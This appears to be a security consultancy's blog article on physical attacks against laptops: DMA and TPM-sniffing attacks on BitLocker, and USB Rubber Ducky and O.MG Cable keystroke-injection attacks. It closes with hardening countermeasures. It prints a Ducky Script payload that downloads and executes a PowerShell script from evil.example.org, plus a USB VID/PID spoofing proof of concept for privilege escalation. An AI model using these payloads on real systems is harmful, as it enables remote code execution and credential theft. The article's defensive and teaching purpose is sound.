Network Time Security
How to Handle Peripheral Devices
The trade-off between security and usability depends on the threat model. A threat model makes assumes about the ability and motivation of the attackers. The attack scenarios in this article are based on attackers with advanced skills and the motivation to conduct physical attacks, either to steal a device or to enter a building to gain access to devices or to plant hardware.
The full disk encryption protects data from being accessed or manipulated. This is referred as encryption at rest. When booting the machine, a key is required to decrypt the hard disk. With Microsoft BitLocker, the BitLocker Encryption Key is stored in the Trusted Platform Module (TPM) of the machine. In the default configuration of BitLocker, the key is loaded from the TPM at start-up, stored in memory and the system starts up to the login screen without any additional form of authentication. This opens up attacks against the hard disk encryption.
A Direct Memory Access (DMA) attack is a side channel attack in which attackers misuse a high-speed interface with direct access to system memory as an attack vector. Such interfaces include FireWire, Thunderbolt, and PCI Express. Direct access to the system memory bypasses the operating system’s protection mechanisms.
If a system with hard disk encryption can be booted without pre-boot authentication, secrets such as keys or passwords can be extracted from the memory, or the running system can be manipulated using DMA attacks. The tool PCILeech developed by Ulf Frisk has become the “standard tool” for such attacks. In the article Practical DMA Attack on Windows 10, Jean-Christophe Delaunay describes how PCILeech was used to manipulate the login mask in the memory so that the system accepts any password for the local administrator account.
By introducing Input-Output Memory Management Units (IOMMU), such as Intel Virtualization Technology for Directed I/O (Intel VT-d), DMA attacks can be prevented. The usage of IOMMU is active by default in macOS and can be used in Windows by activating Virtualisation-Based-Security-Functions (VBS).
Without pre-boot authentication, the key is read from the TPM during the boot procedure and passed to the Boot Loader so that the hard disk can be decrypted. This communication happens via the Serial Peripheral Interface (SPI). Attackers can connect to the TPM chip on the device, listen to the SPI bus and thus extract the key. This requires a profound knowledge of the structure of the specific device and enough time to carry out the attack. The three articles Sniff, There Leaks my BitLocker Key, From Stolen Laptop to Inside the Company Network and Break into this CEO’s laptop describe such attacks in detail.
One countermeasure against DMA attacks is the use of IOMM Units. This functionality must be activated in the BIOS/UEFI. As an additional measure, access to the BIOS/UEFI should be protected so that security functions cannot be deactivated. For Windows, the VBS function and the Secure Boot with DMA setting must be activated. Furthermore, the use of interfaces such as FireWire and Thunderbolt should be prevented via the group policy settings
Prevent installation of devices that match any of these device IDs and
Prevent installation of devices using drivers that match these device setup classes. Microsoft describes how to configure the settings in the article Blocking the SBP-2 driver and Thunderbolt controllers to reduce 1394 DMA and Thunderbolt DMA threats to BitLocker. Depending on the hardware support, the function Kernel DMA Protection can also be used.
To prevent sniffing attacks, pre-boot authentication must be done before decrypting the hard disk. For BitLocker, Microsoft describes the countermeasures in the article BitLocker Countermeasures. The group policy setting
BitLocker Drive Encryption\Operating System Drives\Require additional authentication at startup must be set to one of the following values:
If a PIN is used, the setting
Allow enhanced PINs for startup should also be used. Then the BitLocker key in the TPM is only released after successful authentication and it is not possible to perform a sniffing attack without the PIN.
Our PowerShell script HardeningKitty can be used to review the hardening settings.
No DMA attacks are possible via USB 2 and USB 3. The USB interface is nevertheless a popular attack target, also in combination with social engineering attacks. In the TV series Mr Robot the character Angela Moss receives a USB Rubber Ducky with instructions to connect it to a system in order to obtain the target’s credentials. The attack is described in detail in the article 15 Second Password Hack, Mr Robot Style. The USB Rubber Ducky connects as a Human Interface Device (HID), an input device such as a keyboard or mouse, and can therefore inject keystrokes. This opens a prompt window with administrative privileges, runs Invoke-Mimikatz and extracts the credentials. However, for this attack to be successful, a user with sufficient privileges must be logged in.
Besides USB Rubber Ducky, a Teensy USB Development Board can also be used for such attacks. The Teensy is programmed with the development environment Teensyduino. With the USB Rubber Ducky, the language Ducky Script was also invented in 2010, which simplifies the programming of such attacks and has an easy-to-read syntax.
With the following Ducky Script example, a script can be loaded from the internet via PowerShell and executed. To do this, the Rubber Ducky only has to be connected to the computer, the rest of the process is executed automatically.
DELAY 3000 GUI r DELAY 100 STRING powershell.exe ENTER DELAY 100 STRING $Response = Invoke-WebRequest -Uri evil.example.org/script.txt ENTER DELAY 200 STRING Invoke-Expression($Response.Content) ENTER
With Ducky Script all keystrokes are programmed, with
GUI r the prompt Run is invoked and then the PowerShell shell is started and the commands to download and start the script are executed.
The O.MG Cable from MG is a different device for USB attacks. The cable is available as USB-C to USB-A or USB-C to Apple Lightning variants and the cables are hardly distinguishable from the original. A Wi-Fi chip is integrated into the cable so that the O.MG Cable can start its own Access Point or connect to a predefined WLAN. Then an attacker can access the front end and execute live commands in a script editor.
A possible attack would be to place the cable in an office and wait for someone to connect this to their device. Then the access point starts and attackers within wireless range can interact with the device via the cable. It is also possible to execute a payload when the device is plugged in, analogous to the Rubber Ducky.
The Twitter post Windows escalation with an OMG cable: from Guest account to System user demonstrates how a setup program of a device from the company Razer can be misused to gain local system rights on a system. In the process, it is pretended that a Razer product has been connected to the computer and an advanced setup with system rights is started through Windows Update. During the setup dialogue, a command prompt window can then be opened and the attacker gains system rights.
The O.MG Cable has an extended version of Ducky Script, which allows the definition of Vendor ID (VID) and Product ID (PID). This allows any USB device to be imitated. The operating system recognises which device it is based on the Vendor ID and the Product ID. In the form of a Proof-of-Concept Script, this looks as such:
VID 1532 PID 0073 DELAY 30000 SPACE
PID the USB device is specified and the commands
SPACE are there to perform an action as if the device was active after the waiting time has elapsed. Windows recognises that a new device has been connected and attempts to install the appropriate drivers. Device manufacturers have the option of executing an extended setup in addition to drivers. This function is called “Device-Specific Co-installer” by Microsoft:https://docs.microsoft.com/en-us/windows-hardware/drivers/install/registering-a-device-specific-co-installer. If manufacturers run the setup with system rights, as in the case of Razer, and allow attackers to jump out of the installation dialogue, a privilege escalation vulnerability is possible.
With the USB Rubber Ducky, it is also possible to impersonate other USB devices. To do this, a file called
vidpid.bin must be created in the file structure of the Rubber Ducky and contain
PID. This file can be created with the following command:
perl -e 'print pack "H*", "15320073"' > /path/to/sdcard/vidpid.bin
By probing VID and PID combinations, it is also possible to search for vulnerabilities in other driver installations. The vulnerability analyst Will Dormann has tried this out and documented it in a Twitter thread.
In general, USB devices can be allowed or blocked via a USB device management solution. However, since HID devices are used in USB attacks and these device class is usually not blocked, this countermeasure is not effective. Other measures include restricting applications using application control solutions and running PowerShell in Constrained Language Mode. To detect the attack, other controls must be used, such as monitoring PowerShell and correlating events, for example, detecting the use of new hardware and then running commands and access to the local network or internet.
As a workaround, the use of Co-Installer can be disabled with the registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Installer\DisableCoInstallers, the setting
DisableCoInstallers should be set to the value
1. This setting can affect the use of new hardware and, depending on the device, it may not install correctly. However, the vulnerability must be fixed by Microsoft and the manufacturers of the respective devices, it should not be possible for interactive setup dialogues to be executed with system rights if a user does not have administrator rights.
Using hard disk encryption without additional authentication is vulnerable to DMA and sniffing attacks. It is not sufficient to enable hard disk encryption and omit pre-boot authentication for ease of use. The same applies to the USB interface, only device management and disabling of certain device types, such as Ethernet or Wi-Fi adapters, are not enough to block all attacks. If attackers have physical access to the devices, further measures are necessary that have an impact on the usability of the device. This is the classic dilemma of the trade-off between security and usability. Depending on the threat model, the scales should clearly tip to the side of security.
We are going to monitor the digital underground for you!
Our experts will get in contact with you!
Further articles available here